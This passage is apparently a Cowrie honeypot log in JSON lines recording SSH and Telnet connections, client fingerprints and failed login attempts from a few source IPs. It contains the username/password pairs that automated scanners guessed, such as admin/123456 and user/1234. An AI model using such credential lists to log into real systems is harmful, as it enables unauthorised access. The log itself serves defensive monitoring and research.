{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:45.427268Z","src_ip":"45.156.87.254","session":"0f04f3ece1d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:45.683175Z","src_ip":"45.156.87.254","session":"0f04f3ece1d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:46.768934Z","src_ip":"45.156.87.254","session":"0f04f3ece1d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.979037523269653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:49.789455Z","src_ip":"104.245.105.2","session":"9a726c656c0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36474,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a5bd7b6c7d7","protocol":"ssh","message":"New connection: 45.156.87.254:36474 (159.203.135.109:22) [session: 9a5bd7b6c7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:49.943511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:50.029274Z","src_ip":"45.156.87.254","session":"9a5bd7b6c7d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:50.033349Z","src_ip":"45.156.87.254","session":"9a5bd7b6c7d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":38530,"dst_ip":"10.17.0.5","dst_port":22,"session":"d98d854c6c31","protocol":"ssh","message":"New connection: 186.30.115.187:38530 (10.17.0.5:22) [session: d98d854c6c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:50.260975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:50.265390Z","src_ip":"186.30.115.187","session":"d98d854c6c31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:50.356733Z","src_ip":"186.30.115.187","session":"d98d854c6c31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"user6","message":"login attempt [user6/user6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:50.385239Z","src_ip":"45.156.87.254","session":"9a5bd7b6c7d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systest","password":"systest","message":"login attempt [systest/systest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:50.727516Z","src_ip":"186.30.115.187","session":"d98d854c6c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:51.469700Z","src_ip":"45.156.87.254","session":"9a5bd7b6c7d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:51.818338Z","src_ip":"186.30.115.187","session":"d98d854c6c31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36488,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bba8899d662","protocol":"ssh","message":"New connection: 45.156.87.254:36488 (159.203.135.109:22) [session: 0bba8899d662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:55.059451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:55.074542Z","src_ip":"45.156.87.254","session":"0bba8899d662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:55.167451Z","src_ip":"45.156.87.254","session":"0bba8899d662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:55.478194Z","src_ip":"45.156.87.254","session":"0bba8899d662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:56.569580Z","src_ip":"45.156.87.254","session":"0bba8899d662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60416,"dst_ip":"159.203.135.109","dst_port":22,"session":"b62e24476b59","protocol":"ssh","message":"New connection: 45.156.87.254:60416 (159.203.135.109:22) [session: b62e24476b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:00.538515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:00.555073Z","src_ip":"45.156.87.254","session":"b62e24476b59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:00.731346Z","src_ip":"45.156.87.254","session":"b62e24476b59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:01.144912Z","src_ip":"45.156.87.254","session":"b62e24476b59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:02.242131Z","src_ip":"45.156.87.254","session":"b62e24476b59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60440,"dst_ip":"159.203.135.109","dst_port":22,"session":"58f34f317c5d","protocol":"ssh","message":"New connection: 45.156.87.254:60440 (159.203.135.109:22) [session: 58f34f317c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:06.004122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:06.010246Z","src_ip":"45.156.87.254","session":"58f34f317c5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:06.097043Z","src_ip":"45.156.87.254","session":"58f34f317c5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:06.370066Z","src_ip":"45.156.87.254","session":"58f34f317c5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:07.631426Z","src_ip":"45.156.87.254","session":"58f34f317c5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59726,"dst_ip":"159.203.135.109","dst_port":22,"session":"22dd1fd6a983","protocol":"ssh","message":"New connection: 45.156.87.254:59726 (159.203.135.109:22) [session: 22dd1fd6a983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:11.436054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:11.441930Z","src_ip":"45.156.87.254","session":"22dd1fd6a983","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:11.522568Z","src_ip":"45.156.87.254","session":"22dd1fd6a983","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:11.845365Z","src_ip":"45.156.87.254","session":"22dd1fd6a983","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:12.933288Z","src_ip":"45.156.87.254","session":"22dd1fd6a983","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59728,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fb7a01af3f3","protocol":"ssh","message":"New connection: 45.156.87.254:59728 (159.203.135.109:22) [session: 0fb7a01af3f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:16.498377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:16.503478Z","src_ip":"45.156.87.254","session":"0fb7a01af3f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:16.587059Z","src_ip":"45.156.87.254","session":"0fb7a01af3f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:16.835575Z","src_ip":"45.156.87.254","session":"0fb7a01af3f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:17.928794Z","src_ip":"45.156.87.254","session":"0fb7a01af3f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35232,"dst_ip":"159.203.135.109","dst_port":22,"session":"edfc2e34f302","protocol":"ssh","message":"New connection: 45.156.87.254:35232 (159.203.135.109:22) [session: edfc2e34f302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:21.431996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:21.437935Z","src_ip":"45.156.87.254","session":"edfc2e34f302","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.